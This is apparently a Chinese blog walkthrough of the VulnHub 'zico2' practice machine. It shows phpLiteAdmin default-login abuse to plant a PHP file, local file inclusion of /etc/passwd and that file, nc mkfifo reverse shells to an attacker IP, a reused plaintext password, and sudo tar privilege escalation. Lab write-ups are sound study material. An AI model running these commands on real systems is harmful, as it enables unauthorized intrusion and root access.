Avatar {{帝力于我何有哉}} 不疯魔，不成活。 Be obsessed, or be average.

vulnhub >_ zico2

Published on 09 Nov 2020

zico2

image-20200622021837781

image-20200622022112975

image-20200622022737755

dbadmin

image-20200622022839287

查看test_db.php发现是phpadmin

image-20200622022928088

尝试admin，直接进入了

image-20200622023011176

image-20200622023113651

根据漏洞信息，我们可以简单的通过新建db的方式在服务器生成我们想要的php文件。

image-20200622023153208

image-20200622023608737

image-20200622023640700

<?php system("id"); ?>

image-20200622023522255

image-20200622204546761

成功可以在状态中发现准确的物理路径

image-20200622204755930

查看页面，发现一处似乎存在文件包含的地方

image-20200622022336943

image-20200622022429941

测试

http://10.10.10.143/view.php?page=../../../../etc/passwd

image-20200622022505684

典型本地文件包含，我们尝试包含之前利用漏洞新建的php,,(由于切换了桥接模式，这里ip发生变化)

http://192.168.43.44/view.php?page=../../../../../usr/databases/evil.php

image-20200622205008985

可以看到成功执行evil.php中的命令

再次修改evil.php的内容。使之可以为我们弹回一个shell

image-20200622205200313

修改为

<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.43.66 1337 >/tmp/f"); ?>

image-20200622205318316

建立监听并再次包含

得到shell

image-20200622202856129

image-20200622203520190

尝试密码复用

zico
sWfCsfJSPV9H3AmQzw8

image-20200622203616638

image-20200622203643460

利用tar，先写个shell

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.43.66 1338 >/tmp/f' > shell.sh

image-20200622204157856

然后将shell压缩

tar -cvf shell.tar shell.sh

image-20200622204316106

最后，在kali设置监听，并在目标执行sudo，成功会在kali弹回shell

sudo /bin/tar -xvf shell.tar --to-command /bin/bash shell.sh

image-20200622204423403

image-20200622204437261

related posts